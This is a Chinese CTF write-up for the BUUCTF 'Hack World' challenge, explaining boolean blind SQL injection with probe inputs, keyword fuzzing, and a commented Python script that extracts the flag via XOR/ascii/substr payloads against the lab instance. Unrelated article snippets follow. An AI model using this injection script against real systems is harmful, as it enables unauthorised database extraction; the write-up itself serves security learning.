BUUCTF [CISCN2019 华北赛区 Day2 Web1]Hack World 1(SQL注入之布尔盲注)

news/2024/5/19 21:05:06 标签: 网络安全, web安全, ctf, SQL, 数据库, 后端, 安全

题目环境
image.png
判断注入类型

1

image.png

2

image.png

3

image.png

1’

image.png

输入1’报错提示bool(false)
可知是字符型的布尔注入(盲注)

尝试万能密码

1’ or ‘1’=1

image.png

已检测SQL注入
猜测某些关键字或者字符被过滤

FUZZ字典爆破
image.png
image.png

可以看到部分关键字被过滤,包括空格

All You Want Is In Table ‘flag’ and the column is ‘flag’
Now, just give the id of passage
通过提示可以知道
flag字段在flag数据表里面

布尔注入

布尔注入是一种常见的SQL注入攻击技术,攻击者通过构造恶意输入,使应用程序的SQL查询返回不同的结果,从而达到绕过应用程序的安全机制,获取未授权的信息或执行恶意操作的目的。

布尔盲注

布尔盲注,也称为基于布尔的盲注,是一种SQL注入攻击方式。这种攻击方式主要利用Web页面的返回结果,根据页面返回的True或者是False来得到数据库中的相关信息。
在进行布尔盲注攻击时,攻击者首先需要对目标应用程序进行SQL注入,然后根据页面返回的结果来判断注入是否成功。由于页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。因此,这种攻击方式比较消耗时间,速度较慢。
在布尔盲注中,攻击者可能会使用一些常用的函数,如length()函数和ascii()函数。length()函数用于返回字符串的长度,ascii()函数用于返回字符串的字符ASCII码值。这些函数可以帮助攻击者更好地分析和理解返回结果,从而获取更多的信息。
总之,布尔盲注是一种比较复杂的SQL注入攻击方式,需要攻击者具备一定的技术水平和耐心。为了防止布尔盲注攻击,应该加强应用程序的安全性,如进行输入验证、使用参数化查询等措施。

通过脚本爆破flag

import requests
#调用请求模块
import time
#调用时间模块
import re
#调用规则表达式模块
url='http://1c6ac3dd-eab6-41d6-85a3-a5f888577768.node4.buuoj.cn:81/'
#题目链接
flag = ''
#创建一个变量用来存放flag值
for i in range(1,50):
    #for循环遍历,i表示flag值大致长度是50以内
    max = 127
    #赋值127
    min = 0
    #赋值0
    for c in range(0,127):
        #for循环遍历
        s = (int)((max+min)/2)
        #首先将 max 和 min 相加,然后除以 2,最后将结果强制转换为整数类型。
        payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
        #^异或运算符,相同为假,不相同为真,1^payload,若为payload结果为假,则返回0,1^0=1,将得到查询id=1时的结果,回显Hello, glzjin wants a girlfriend。
        #从flag数据表中选择一个名为flag的字段,然后取这个字段的字符串(从位置 '+str(i)+' 开始,长度为 1(每次只返回一个))
        #将这个字符串转换为 ASCII 码,然后判断这个 ASCII 码是否大于一个名为 "s" 的变量。
        r = requests.post(url,data = {'id':payload})
        #requests模块的运用,将payload赋值给题目中这个名为id的参数
        time.sleep(0.005)
        #每循环一次休眠0.005秒
        if 'Hello' in str(r.content):
            #如果Hello这个字符串在生成的结果中,那么就继续向下进行
            max=s
        #将s的值赋值给max
        else:
            #反之
            min=s
        #将s的值赋值给min
        if((max-min)<=1):
            #如果max-min的值
            flag+=chr(max)
            #将max的ASCII值转化为字符串
            print(flag)
            #输出flag
            break
            #跳出循环


脚本里面已添加注释
希望能帮助大家更好的理解

image.png
得到flag:
flag{7a?ec496-a77b-4foa-9748-c6382beoa0c}


http://www.niftyadmin.cn/n/5250547.html

相关文章

Python 从入门到精通 学习笔记 Day03

Python 从入门到精通 第三天 今日目标 流程控制语句、退出循环、练习学习的内容 一、流程控制语句 流程控制的三种方式&#xff1a;顺序语句、双分支语句、循环语句 双分支语句 Python 的双分支语句使用if-else语句实现。 其语法结构如下: if条件:#如果条作为真&#xff…

Python中锁的常见用法

在 Python 中&#xff0c;可以使用线程锁来控制多个线程对共享资源的访问。以下是一些常见的 Python 中锁的用法&#xff1a; 创建线程锁 在 Python 中&#xff0c;可以使用 threading 模块中的 Lock 类来创建线程锁。例如&#xff1a; import threading# 创建线程锁 lock …

git stash 对当前分支修改的内容进行暂存

我们在开发的时候往往会遇到这种情况, 在一个分支开发,写了不少内容,但是突然来了一个紧急的需求需要切换分支,去做这个需求,但是当前的分支又因为没有开发完成,不想形成一条无效的commit记录,这时我们就到暂存上场了 git stash 暂存 // 切分支之前 对当前分支修改的内容进行暂…

gdb指令随笔

记录一下自己使用过的gdb命令 linux指令 objdump -d bomb > bomb.asm history gdb指令 GDB用法及命令大全 GDB基本调试命令 GDB常用命令大全 gdb查看内存 &#xff08;x/100xb&#xff09; disas 函数 反汇编 x/s 查看内存&#xff0c;以字符串 run 文件&#xff…

sql注入 [GXYCTF2019]BabySQli1

打开题目 多次尝试以后我们发现存在一个admin的账号&#xff0c;但是密码我们不知道 我们尝试一下万能密码 admin or 11 -- q 报错 我们尝试bp抓一下包看看 看着很像编码 先去base32解码 再base64解码 得到 我们从这个sql语句中得到注入点为name 根据报错信息我们知道是…

征途漫漫:汽车MCU的国产替代往事

01.西雁东飞&#xff0c;南下创业 1985年&#xff0c;山东大学物理系毕业的周生明加入878厂&#xff08;“北霸天”&#xff09;参与MOS电路研发&#xff0c;随后几年&#xff0c;大洋彼岸的英特尔相继推出CPU 386\486、奔腾系列等产品。在摩尔定律的凸显、进口和走私的剧烈冲…

微信小程序_介绍

开发准备 注册微信小程序 进入微信公众平台 点击立即注册&#xff0c;选择小程序&#xff0c;前往注册 完善个人/企业信息 获取AppID 进入小程序页面->开发->开发设置->AppID 下载微信开发者工具 微信官方下载下载微信开发者工具稳定版 创建项目 绑定AppID不使用…

十八、FreeRTOS之FreeRTOS任务通知

本节需要掌握以下内容&#xff1a; 1、任务通知的简介&#xff08;了解&#xff09; 2、任务通知值和通知状态&#xff08;熟悉&#xff09; 3、任务通知相关API函数介绍&#xff08;熟悉&#xff09; 4、任务通知模拟信号量实验&#xff08;掌握&#xff09; 5、任务通知…